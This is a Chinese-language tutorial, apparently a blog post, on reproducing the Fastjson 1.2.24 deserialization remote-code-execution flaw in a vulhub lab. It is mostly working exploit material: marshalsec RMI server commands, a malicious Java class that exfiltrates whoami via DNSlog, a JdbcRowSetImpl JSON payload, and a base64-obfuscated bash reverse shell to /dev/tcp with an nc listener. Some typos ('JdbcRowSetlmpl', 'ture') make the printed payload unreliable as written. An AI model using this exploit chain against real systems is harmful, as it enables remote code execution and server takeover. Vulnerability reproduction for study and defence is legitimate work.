Fastjson漏洞详解

简介: Fastjson漏洞详解

0x01 Fsatjson概述

Fastjson是阿里巴巴公司开源的一款json解析器,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到JavaBean。Fastjson是一个流行的库,可以将数据在json和java object之间相互转换,fastison在序列化和反序列化过程中没有使用Java自带的序列化机制,而是自定义了另一套机制。其实,对于JSON框架来说想要把一个Java对象转换成字符串,有两种方式:

    1.基于属性
    2.基于 setter/getter

    0x02 RMI

    提供 RMI 包。RMI 指的是远程方法调用 (Remote Method Invocation)。它是一种机制,能够让在某个 Java虚拟机上的对象调用另一个 Java 虚拟机中的对象上的方法。可以用此方法调用的任何对象必须实现该远程接口。调用这样一个对象时,其参数为 "marshalled" 并将其从本地虚拟机发送到远程虚拟机(该远程虚拟机的参数为 "unmarshalled")上。该方法终止时,将编组来自远程机的结果并将结果发送到调用方的虚拟机。如果方法调用导致抛出异常,则该异常将指示给调用方。

    简明的说rmi是一种机制,作用就是远程方法的调用,远程方法调用其实就是一个机器可以执行另一个机器的指令 注意:不会回显,所以想要证实是否存在有fastjson漏洞,可以借助第三方dnslog平台

    0x03 历史漏洞

    Fastjson <=1.2.24 反序列化远程命令执行漏洞 
    Fastjson <=1.2.41 反序列化远程命令执行漏洞 
    Fastjson <=1.2.42 反序列化远程命令执行漏洞 
    Fastjson <=1.2.43 反序列化远程命令执行漏洞 
    Fastjson <=1.2.45 反序列化远程命令执行漏洞 
    Fastjson <=1.2.47 反序列化远程命令执行漏洞 
    Fastjson <=1.2.62 反序列化远程命令执行漏洞 
    Fastjson <=1.2.66 反序列化远程命令执行漏洞

    Fastjson反序列化漏洞

    1.2.24:fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的setter/getter方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

    1.2.47:fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。

    0x04 环境搭建

    系统:Kali-linux靶场:vulhub安装maven:apt安装:


    sudo apt install maven

    源码安装:

      1.wget https://mirrors.bfsu.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
      2.mkdir /opt/maven
      3.tar zxvf apache-maven-3.6.3-bin.tar.gz -C /opt/maven/
      4.vim /etc/profile
      5.export MAVEN_HOME=/opt/maven/apache-maven-3.6.3 export PATH=$MAVEN_HOME/bin:$PATH (在profile文件最下方添加)
      6.source /etc/profile (使其生效)
      7.mvn -version (验证是否成功

      安装marshalsec:

        1.git clone https://github.com/mbechler/marshalsec.git
        2.cd marshalsec/
        3.mvn clean package -DskipTests(编译工具)
        4.cd target/
        5.java-cp marshalsec-0.0.3-SNAPSHOT-all.jar
        6.marshalsecjndiRMIRefServer"http://(启动python服务的ip):(启动python服务的端口)/#dnslog"999

        靶场启动:

          1.cd vulhub
          2.cd fastjson
          3.cd 1.2.24-rce
          4.docker-compose up -d
          

          0x05 Fastjson判断方式

          在vulhub起一个靶场环境,以1.2.24为例访问ip:8090如回显以下页面,则搭建成功

          使用burpsuite抓包,放到重发器判断Fastjson两种方式:将GET请求方式更改为POST请求,并随便输入一个json格式数据,send数据包使其报错,看回显

          注意:在version<=1.2.24时,报错回显是没有fastjson特征的报错 com.alibaba.fastjson.JSON 特征version<1.2.24同样的判断方式,抓包看报错回显,会有com.alibaba.fastjson.JSON 特征

          漏洞利用开启vulhub对应靶场服务安装marshalsec工具Java本地写恶意类,比如:

          import java.lang.Runtime;
          import java.lang.Process;
          public class fastjson{
            static {
              try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"/bin/sh", "ping user.`whoami`.dnslog平台生成的网址"};
                Process pc = rt.exec(commands);
                pc.waitFor();
              } catch (Exception e) {
                // do nothing
              }
            }
          }

          javac进行编译,生成class文件本地使用python开启http服务,


          Python3 -m http.server

          为了使后面利用rmi机制去让靶场服务器访问我们生成的恶意class文件,并自动下载到靶场服务器本地浏览器访问验证是否开启成功

          使用marshalsec工具进行开启一个rmi服务payload:


          java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://python开启的http服务IP:PORT/#恶意class文件类名

          自定义rmi端口漏洞页面进行抓包

          数据包改为POSTPOC

          POST / HTTP/1.1
          Host: IP:PORT
          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
          Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
          Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
          Accept-Encoding: gzip, deflate
          Connection: close
          Upgrade-Insecure-Requests: 1
          {
            "b":{
                "@type":"com.sun.rowset.JdbcRowSetlmpl",
                "dataSourceName":"rmi://开启rmi服务的ip:prot/恶意类名",
                "autoCommit":ture
            }
          }

          Send 发包后会报错,但是在刚才恶意类中,写入了第三方dnslog平台生成的url,因此,会有请求记录,只需验证是否记录存在即可证实漏洞存在

          如果想要反弹shell,则需要修改恶意类中代码为

          import java.lang.Runtime;
          import java.lang.Process;
          public class fastjson{
            static {
              try {
                Runtime rt = Runtime.getRuntime();
                String[] commands = {"bash", "-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE=}|{base64,-d}|{bash,-i}"};
                Process pc = rt.exec(commands);
                pc.waitFor();
              } catch (Exception e) {
                // YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC9QT1JUIDA+JjE= 为base64编码的IP和PORT
              }
            }
          }

          然后NC进行监听端口 nc -lvvp PORT漏洞页面抓包,按步骤更改数据,NC回弹shell

          目录
          相关文章
          |
          28天前
          |
          人工智能 JSON 安全
          Fastjson远程代码执行漏洞,阿里云AI安全为您保驾护航
          阿里云AI安全产品联动防御Fastjson攻击
          2711 13
          Fastjson远程代码执行漏洞,阿里云AI安全为您保驾护航
          |
          安全 数据安全/隐私保护
          蓝凌OA系统存在任意文件读取(SSRF)
          蓝凌OA系统存在任意文件读取(SSRF)
          蓝凌OA系统存在任意文件读取(SSRF)
          |
          存储 监控 安全
          Zabbix登录绕过漏洞复现(CVE-2022-23131)
          最近在复现zabbix的漏洞(CVE-2022-23131),偶然间拿到了国外某公司zabbix服务器。Zabbix Sia Zabbix是拉脱维亚Zabbix SIA(Zabbix Sia)公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。Zabbix Frontend 存在安全漏洞,该漏洞源于在启用 SAML SSO 身份验证(非默认)的情况下,恶意行为者可以修改会话数据,因为存储在会话中的用户登录未经过验证。 未经身份验证的恶意攻击者可能会利用此问题来提升权限并获得对 Zabbix 前端的管理员访问权限。
          2364 0
          Zabbix登录绕过漏洞复现(CVE-2022-23131)
          |
          运维 Kubernetes 安全
          |
          安全 NoSQL API
          【漏洞复现】YApi NoSQL注入导致远程命令执行漏洞
          YApi是一个API管理工具。在其1.12.0版本之前,存在一处NoSQL注入漏洞,通过该漏洞攻击者可以窃取项目Token,并利用这个Token执行任意Mock脚本,获取服务器权限。
          4135 1
          |
          安全 Java API
          解决 Swagger API 未授权访问漏洞:完善分析与解决方案
          Swagger 是一个用于设计、构建、文档化和使用 RESTful 风格的 Web 服务的开源软件框架。它通过提供一个交互式文档页面,让开发者可以更方便地查看和测试 API 接口。然而,在一些情况下,未经授权的访问可能会导致安全漏洞。本文将介绍如何解决 Swagger API 未授权访问漏洞问题。
          |
          JSON 安全 Java
          Spring Boot 序列化、反序列化
          本文介绍了Spring Boot中的序列化和反序列化。Java提供默认序列化机制,通过实现Serializable接口实现对象到字节流的转换。Spring Boot默认使用Jackson处理JSON,可通过注解和配置自定义规则。然而,序列化可能引发安全问题,建议使用白名单、数据校验和安全库。最佳实践包括使用标准机制、自定义规则及注意版本控制。文章还提醒关注性能并提供了相关参考资料。
          1422 2
          |
          安全
          致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
          致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
          3454 0
          致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
          |
          JSON 算法 安全
          JWT渗透与攻防
          JSON Web Token(JWT)作为一种广泛使用的认证机制,因其简单、有效和灵活性而受到开发者的青睐。然而,随着JWT使用的普及,其安全性问题也逐渐显现。本文将探讨JWT的渗透测试方法,分析常见的安全漏洞,并提供相应的防护措施。
          1346 3
          JWT渗透与攻防
          |
          SQL 安全
          jeecg-boot sql注入漏洞解决
          jeecg-boot sql注入漏洞解决
          2007 0

          热门文章

          最新文章